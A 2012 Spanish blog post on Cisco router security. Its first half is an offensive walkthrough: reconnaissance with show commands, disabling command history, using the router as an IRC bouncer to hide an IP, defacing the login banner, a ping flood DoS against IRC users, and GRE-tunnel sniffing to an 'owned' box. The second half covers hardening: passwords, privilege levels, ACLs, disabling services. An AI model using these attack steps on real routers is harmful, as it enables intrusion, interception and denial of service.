martes, 4 de diciembre de 2012

Privilegios de Acceso al módem-router así como al personal


En redes informáticas, ACL se refiere a una lista de reglas que detallan puertos de servicio o nombres de dominios (de redes) que están disponibles en un terminal u otro dispositivo de capa de red, cada uno de ellos con una lista de terminales y/o redes que tienen permiso para usar el servicio. Tanto servidores individuales como enrutadores pueden tener ACL de redes. Las listas de control de acceso pueden configurarse generalmente para controlar tráfico entrante y saliente y en este contexto son similares a un cortafuegos.
Existen dos tipos de listas de control de acceso:
  • Listas fija, no cambia
  • Listas variable, cambia


Vamos a usar los comandos “show” para ver la información que podemos sacar del router. Dependiendo del nivel de acceso que tengamos, la versión del IOS y el modelo del router algunos comandos estarán disponibles o no:
router>show version
Información general del router, principalmente sabremos la serie del router, que versión del IOS tiene y hace cuanto tiempo que se encuentra activo.
router>show interfaces
Nos muestra las interfaces del router y como están configuradas, en redes IP tendremos acceso a cada segmento de la red a la cual alguna interfaz apunte.
router>show users
Podemos ver los usuarios que se encuentran online, pudiendo rescatar nombres de usuarios, direcciones de hosts, modems activos, etc.
router>show privilege
Nos muestra los privilegios del usuario con el cual estamos conectados, los privilegios son un valor numérico que va desde 0 a 15, donde 15 es como ser root en un Unix.
router>show arp
Muestra las direcciones IP y las MAC Address de los hosts que se encuentran en la misma subred que alguna interfaz del router.
router>show hosts
Podemos ver los DNS que utiliza el router, los hosts y las direcciones IP a los que el router esta haciendo conexiones.
router>show terminal
Vemos la configuración de la terminal que estamos usando, si el history esta activo y los transportes para conexión soportados.
router>show history
Crea un log de todos los comandos que utilizamos. Lo podemos desactivar de esta forma:
router>terminal history size 0
router>show access-lists
Aquí tenemos todas las listas de acceso que tiene el router, esto es útil para tener una idea de como esta armada la red en razón de confianza y puntos mas importantes.
router>show ip alias
Si el router esta en una red IP podremos ver por ejemplo las distintas direcciones IP que tienen las interfaces de ese mismo router.
router>show ip route
Nos muestra la tabla de ruteo. Sirve para darse una buena idea de la estructura de la red, a que segmentos de red esta conectado, etc.
router>show logging
Muestra los parámetros del logueo que tiene, en algunos casos los logs son enviados a algún Unix que actua como servidor syslog.
router#show configuration
(Necesita enable, es decir privilegios para ejecutarse) Muestra la configuración de todo el sistema, incluyendo los passwords encriptados y sin encriptar. Esto seria lo mismo que hacer:
router#show running-config
Teniendo privilegios mínimos pudimos acceder a valiosa información, esto es algo que se le critica a CISCO, su comando show(mostrar)muestra demasiado.

Ahora veremos como acceder al IRC usando un router como bouncer (bnc, un bouncer es un programa que se ejecuta en una shell y el cual nos sirve para hacer de enlace o puente entre nosotros y el servidor de irc o ftp que querramos usar usando la ip del servidor donde se encuentra este bouncer) para esconder nuestra IP. Primero abrimos nuestro cliente de IRC preferido, y luego en la linea de comandos escribimos lo siguiente:
/server router_IP 23
/quote router_password
/quote ( escribimos el servidor IRC, al que nos conectamos) 6667
/quote user ca0s
/quote nick ca0s
Lo que hacemos es conectarnos al router desde nuestro cliente de chat y desde allí al servidor de IRC. Seria lo mismo que hacer un telnet desde el router al IRC pero sin necesidad de tener el RFC a mano.
Vamos a hacer lo que seria un “defacement” pero aplicado a los routers CISCO. Osea, vamos a cambiarle el banner de entrada al router:
router#configure terminal
router(config)#banner login x
Owned by Alvarus
***PELIGRO**PELIGRO**PELIGRO**PELIGRO**PELIGRO**PELIGRO**PELIGRO**PELIGRO**
Usted ha accedido a un equipo privado. El uso de este dispositivo sin autorización o para propósitos para los cuales ninguna autorización ha sido otorgada constituye una violación de las leyes y sera punible con multas o prisión.
***PELIGRO**PELIGRO**PELIGRO**PELIGRO**PELIGRO**PELIGRO**PELIGRO**PELIGRO**
x
router(config)#exit
La letra “x” es la que en este ejemplo marca el final de texto, así que tengan en cuenta no escribir ninguna palabra con la letra que elijan.
Si con esto no les alcanza, también pueden cambiar el prompt del router de esta forma:
router#configure terminal
router(config)#prompt Alvarus%p
router(config)#exit
Alvarus#
Al ponerle el “%p” al final le indicamos que mantenga la “>” y el “#” para indicarnos los distintos niveles de acceso, de lo contrario solo nos aparece la palabra que elegimos y se hace medio confuso. Si quieren dejar el prompt como viene por default hacen “no prompt PALABRA”.
Algo por demás útil para esos molestos del IRC es usar el router para realizar un PING flood, imagínense que estos aparatos manejan un buen ancho de banda, por lo que este tipo de DoS puede volverse muy efectivo:
routers#ping
Protocol[IP]: (ENTER)
Target IP address: 200.87.100.10
Repeat count [5]: 500000
Datagram size [100]: 20000
Time out in seconds [2]: 0
Extended commands [n]: (ENTER)
Sweep range of sizes [n]: (ENTER)
Después de poner “ping”, en la primera linea presionamos ENTER, en la segunda linea ponemos la dirección IP de la víctima, en la tercera linea la cantidad de veces que queremos que se envié el paquete, en la cuarta linea el tamaño del paquete, en la quinta linea los segundos que debe esperar y en las siguientes dos lineas presionamos ENTER.
Para finalizar esta sección me gustaría explicar brevemente algo muy útil como lo es sniffear un router.
La teoría es mas que simple, lo que haríamos seria re-rutear el trafico del router enviándolo a nuestro box, sniffear los paquetes que llegan y volver a enviar ese trafico desde nuestro box al router para que este los dirija a su destino real.
Esta técnica fue originalmente descripta por gaius del HERT en la Phrack 56; junto con su excelente articulo venia el tunnelx.c que es el soft que nos permitirá redireccionar el trafico del tunel a una interfaz existente, peronosotros vamos a utilizar el funnel.c hecho por jimjones de [lowlevel] ya que tuve mejores resultados con este.
Como dije al principio la teoría es mas que simple, y el llevarlo a la practica también lo es, así que sigamos este caso hipotético:
root@foo#telnet 192.168.1.200 (IP del router)
router>enable
router#configure terminal
router(config)#int tunnel0
router(config-if)#ip address 192.168.0.1 255.255.255.0
router(config-if)#tunnel mode gre ip
router(config-if)#tunnel source Ethernet0/0/0
router(config-if)#tunnel destination 192.168.1.20
router(config-if)#exit
router(config)#exit
router#disable
router>
Con esto ya re-ruteamos todo el trafico a nuestro box en la IP 192.168.1.20 cuando digo “nuestro” box, no me refiero a “nuestro” box, sino a algún box owneado que tengamos por allí.
A partir de aquí compilamos y corremos el funnel, y con cualquier sniffer como el dsniff capturamos los paquetes que nos llegan. Luego simplemente levantamos un tunel hacia el router desde nuestro box y le redireccionamos los paquetes.
Si tienen problemas para compilar el funnel.c lo mas probable es que les falte alguna libreria. El funnel.c se lo pueden bajar de www.low-level.net.

Los siguientes son los conceptos básicos que deberemos tener en cuenta si vamos a administrar la seguridad de un router CISCO. Tengan en cuenta que esto solo es “lo básico”, y en la mayoría de los casos todo dependerá del router que estén usando y de las necesidades de la red.

A. Usuarios y privilegios.
Los privilegios de acceso van desde 0 hasta 15, siendo 1 lo usual para un usuario normal(cuando nos logueamos al router) y 15 el default para el usuario privilegiado.
router>show privilege
Current privilege level is 1
router>enable
Password:
router#show privilege
Current privilege level is 15
router#disable
router>show privilege
Current privilege level is 1
Podemos proteger la contraseña del usuario privilegiado(llamemoslo enable) mediante dos tipos de encriptación, una con un algoritmo de encriptacion trivial de CISCO conocido como de tipo 7, y otra con MD5 que es un algoritmo muy fuerte conocido como de tipo 5.
Para encriptar el password de enable con el algoritomo trivial de CISCO simplemente hacemos un “enable password”, y a continuación bajamos el ciscocrack.c de PacketStorm para crackearlo, ahora si deseamos utilizar un algoritmo de encriptación en serio hacemos lo siguiente:
router#configure terminal
router(config)#enable secret NEWPASS
router#exit
router#copy running-config startup-config
Vemos que entramos en modo de configuración, cambiamos el password, salimos del modo de configuración y guardamos los cambios copiando la configuración al startup.
Ahora vamos a cambiar la contraseña para todos aquellos que ingresen mediante telnet con privilegio de ejecución normal. Como vemos lo estamos haciendo para las terminales virtuales desde la 0 hasta la 5:
router#configure terminal
router(config)#no enable secret
router(config)#line vty 0 4
router(config)#password NEWPASS
router(config)#exit
Si somos muy paranoicos directamente podemos desactivar el acceso al router mediante telnet de esta forma:
router#configure terminal
router(config)#no enable secret
router(config)#line vty 0 4
router(config)#transport input none
router(config)#exit
router#
Por default cuando nos conectamos a la consola o al puerto auxiliar tenemos privilegios de ejecución de usuario(nivel 1 por default) sin password. De la siguiente forma lo configuramos para que nos pida password:
router#configure terminal
router(config)#line console 0
router(config)#login
router(config)#password PASS
router(config)#exec-timeout 1 30
router(config)#line aux 0
router(config)#login
router(config)#password PASS
router(config)#exit
router#
Como habíamos visto al principio con los comandos “show”, el IOS permite el uso de ciertos comandos con privilegios mínimos que no debería permitir; es mas, al listar los comandos disponibles con “comando ?” solo aparecen algunos, pero si ejecutamos otros que sabemos que se encuentran estando en modo enable los podremos utilizar sin ninguna restricción.
Una solución para prevenir que personas sin los suficientes privilegios puedan tocar o mirar cosas que no deben en nuestro router, es asignarle al usuario normal privilegios de 0 en vez de 1. Al hacer esto le estamos restringiendo el uso de todos los comandos y manualmente debemos especificar que comandos puede utilizar.
También es valido el proceso contrario, directamente especificamos que solo podrán ejecutar ciertos comandos los que tengan un determinado nivel de privilegios.
router#privilege exec level 7 show
router#enable password level 7 PASS
En este ejemplo lo que decimos es que para poder utilizar el comando show debemos poseer un nivel de privilegio 7, y luego seteamos un password para ese nivel.
B. Listas de acceso.
Tenemos dos tipos de listas de acceso, las estándares y las extendidas.
Las estándares tienen una sola dirección de correspondencia, mientras que las extendidas tienen dos direcciones con información opcional del tipo de protocolo.
- Listas de acceso estándares:
access-list lista [permit|deny] IP mascara
“lista” es un valor numérico que va desde 1 hasta 99. “permit” y “deny” corresponden a permitir y denegar en las reglas. Los valores de “IP” y “mascara” son de 32 bits y se escriben en notación decimal punteada, pero no debe confundirse esta “mascara” con la mascara de subred que subdivide un numero de asignación de red IP.
Veamos estos ejemplos:
access-list 1 permit 200.51.210.0 0.0.0.255
access-list 1 permit 200.45.0.0 0.0.255.255
Aqui especificamos dos valores de IP y mascara, ambos se aplican al numero 1 de la lista de acceso. El primer comando de la lista permite el acceso a toda la clase C de 200.51.210.0 y el segundo permite acceso a toda la clase B de 200.45.0.0.
Si no se especifica valor de mascara se entenderá que es todo 0.0.0.0; por lo que lo siguiente tendría el mismo efecto:
access-list 2 permit 200.45.184.3 0.0.0.0
access-list 2 permit 200.45.184.3
en este caso solo se permite el trafico de la IP 200.45.184.3.
Ahora, para terminar de redondear el tema sobre este tipo de listas, veamos el siguiente ejemplo:
access-list 3 permit 24.232.144.11 0.0.0.0
access-list 3 deny 24.232.0.0 0.0.255.255
access-list 3 permit 24.0.0.0 0.255.255.255
Lo que decimos aquí es que se permita el trafico a toda la clase A 24.0.0.0, pero dentro de esta red se le deniegue a la clase B 24.232.0.0, exceptuando a la IP 24.232.144.11 que si tiene permitido el trafico.
- Listas de acceso extendidas:
Las listas de acceso extendidas nos permiten filtrar el trafico de una interfaz en base a direcciones IP fuente y destino, además de la información del protocolo.
access-list lista [permit|deny] prot IP_in masc_in IP_out masc_out oper
“lista” es un valor numérico que ira desde de 100 hasta 199, y sirve para identificar a las distintas reglas. “permit” y “deny” corresponden a permitir y denegar en las reglas. “prot” es el protocolo que usaremos, que puede ser IP, TCP, UDP e ICMP, pero como el IP encapsula los paquetes TCP, UDP e ICMP puede utilizarse para igualar a cualquiera de ellos. “IP_in” y “masc_in” nos indicaran la IP origen. “IP_out” y “masc_out” nos indicaran la IP destino; recuerden que aquí la mascara no tiene nada que ver con la mascara de subred en redes IP. Con “oper”(operador y operando) se puede comparar los números de puerto, puntos de acceso o nombres de contacto; estos valores son validos para TCP y UDP, siendo los operadores posibles it(menor que), eq(igual que), gt(mayor que) y neq(diferente que).
A los ejemplos:
access-list 101 deny tcp 24.232.1.1 0.0.0.0 200.47.180.0 0.0.0.255 eq 23
Aqui simplemente estamos diciendo que la IP 24.232.1.1, no puede hacer ninguna conexion TCP al puerto 23 de la red clase C 200.47.180.0.
Veamos otro:
access-list 101 permit tcp 0.0.0.0 255.255.255.255 200.30.0.0 0.0.255.255 gt 1023
access-list 101 permit tcp 0.0.0.0 255.255.255.255 200.30.10.1 0.0.0.0 eq 25
access-list 101 permit icmp 0.0.0.0 255.255.255.255 200.30.0.0 255.255.255.255
interface ethernet 0
ip access-group 101
El primer comando de la lista, permite cualquier conexión TCP entrante con puertos destinatarios mayores a 1023. El segundo comando de la lista admite conexiones de cualquier lugar al puerto 25 de la IP 200.30.10.1. El ultimo comando permite los mensajes ICMP entrantes para la retroalimentación de error.
Hay que tener en cuenta que en las listas de acceso extendidas, una vez que terminamos de definirlas se las tenemos que aplicar a una interfaz en concreto, por supuesto aplicándole un numero de lista como en las dos ultimas lineas del ejemplo anterior:
interface ethernet 0
ip access-group 101
Veamos un ultimo ejemplo esperando que mi cabeza pueda seguir un poco mas.
Supongamos lo siguiente, somos los administradores de la red 200.47.0.0 que se encuentra conectada a Internet. Y queremos que desde esta red hacia Internet se pueda establecer cualquier conexión TCP, pero no queremos lo contrario, salvo por la maquina 200.47.10.8 en la que tenemos un webserver y en este caso si permitiremos conexiones desde Internet a esa IP pero solo en el puerto 80.
access-lists 102 permit tcp 0.0.0.0 255.255.255.255 200.47.0.0 0.0.255.255 established
access-lists 102 permit tcp 0.0.0.0 255.255.255.255 200.47.10.8 0.0.0.0 eq 80
interface ethernet 0
ip access-group 102
Como vemos la palabra “established” es la clave aquí, puesto que puede indicar una conexión establecida en el protocolo TCP.
Por ultimo, cualquier error que hayamos cometido al hacer las listas de acceso tanto estándares como extendidas, lo podemos subsanar eliminando la lista de esta forma:
no access-list lista
donde “lista” es el numero que le pusimos a la regla.
C. Editar ACLs en Cisco
Muchas de las veces que tenemos que editar una ACL para insertar una IP o borrar otra lo que hacemos es borrar la ACL por completo y metemos la ACL completa rectificada de nuevo, pero podemos hacerlo mucho más simple insertando y borrando reglas de una en una.
El método clásico sería copiar la ACL, borrarla y volver a crearla modificada (el primer paso es crear el ACL aunque se supone que ya está creada):
1.Creamos la ACL:
router#configure terminal
router(config)#access-list 121 deny icmp any any
router(config)#access-list 121 permit ip any any
2.Mostramos la ACL para copiarla en un editor y modificarla:
router#show access-list
Extended IP access list 121
deny icmp any any
permit ip any any
3.Borramos la ACL:
router#configure terminal
router(config)#no access-list 101 deny icmp any any
NOTA: Si intentamos borrar una SOLA línea también borrará la ACL por completo.
4.Comprobamos que la ACL está borrada :
router#show access-list
router#
Si intentamos añadir una línea lo hará al final que seguramente no sea lo que queramos especialmente si poner al final algún tipo de DENY, los líneas añadidas estarán por debajo del DENY y por lo tanto serán ignoradas.
Para insertar podemos hacer lo siguiente:
1.Listar la ACL (los números son importantes):
router#show access-list 121
Extended IP access list 121
10 deny icmp any any
20 permit ip any any
2.Para insertar lo que tenemos que hacer es entrar en la ACL y luego usar los números para insertar en la posición correcta:
router#configure terminal
router(config)#ip access-list extended 121
router(config-ext-nacl)#6 permit icmp 10.0.0.0 0.0.0.255 any
3.Si mostramos ahora la ACL veremos que hemos insertado una línea donde hemos indicado:
router#show access-list 121
Extended IP access list 121
6 permit icmp 10.0.0.0 0.0.0.255 any
10 deny icmp any any
20 permit ip any any
Lo mismo para borrar una línea concreta que se puede hacer de dos formas:
1.Listar la ACL (los números también son son importantes):
router#show access-list 121
Extended IP access list 121
10 deny icmp any any
20 permit ip any any
2.Primero entramos en la ACL (al igual que antes:
router#configure terminal
router(config)#ip access-list extended 121
3.Y ahora podemos borrar de 2 formas:
Usando el número de la línea:
router#no 1
Negango la línea completa:
router#no deny icmp any any
4.Si mostramos ahora la ACL veremos que hemos insertado una línea donde hemos indicado:
router#show access-list 121
Extended IP access list 121
6 permit icmp 10.0.0.0 0.0.0.255 any
20 permit ip any any
Para una completa compresión de las ACL podemos ir a la web de Cisco que explica detalladamente las ACLs:
D. Deshabilitando servicios.
Generalmente la mayoría de los routers CISCO vienen corriendo con muchos servicios por default que jamas vamos a utilizar. Los siguientes son algunos servicios que deberíamos considerar desactivar:
no service udp-small-servers
no service tcp-small-servers
no service finger
no ip bootp server
no ip http server
no service pad
no ntp enable
Algunos de los siguientes servicios deberemos indicarle la interfaz donde vamos a desactivar el servicio, tengan en cuenta de hacerlo en todas si es necesario:
interface Ethernet0
no cdp enable
!para desactivar el protocolo CDP
no cdp run
!lo mismo que lo anterior pero de manera global
no ip unreachables
!para evitar que sepan que usamos listas de acceso
interface Ethernet1
no ip proxy-arp
!si no necesitamos el servicio de proxy ARP
interface Ethernet1
no ip redirects
!si no necesitamos enviar redireccionamientos
interface Ethernet0
no ip directed-broadcast
!para evitar ataques del tipo smurf

No hay comentarios:

Publicar un comentario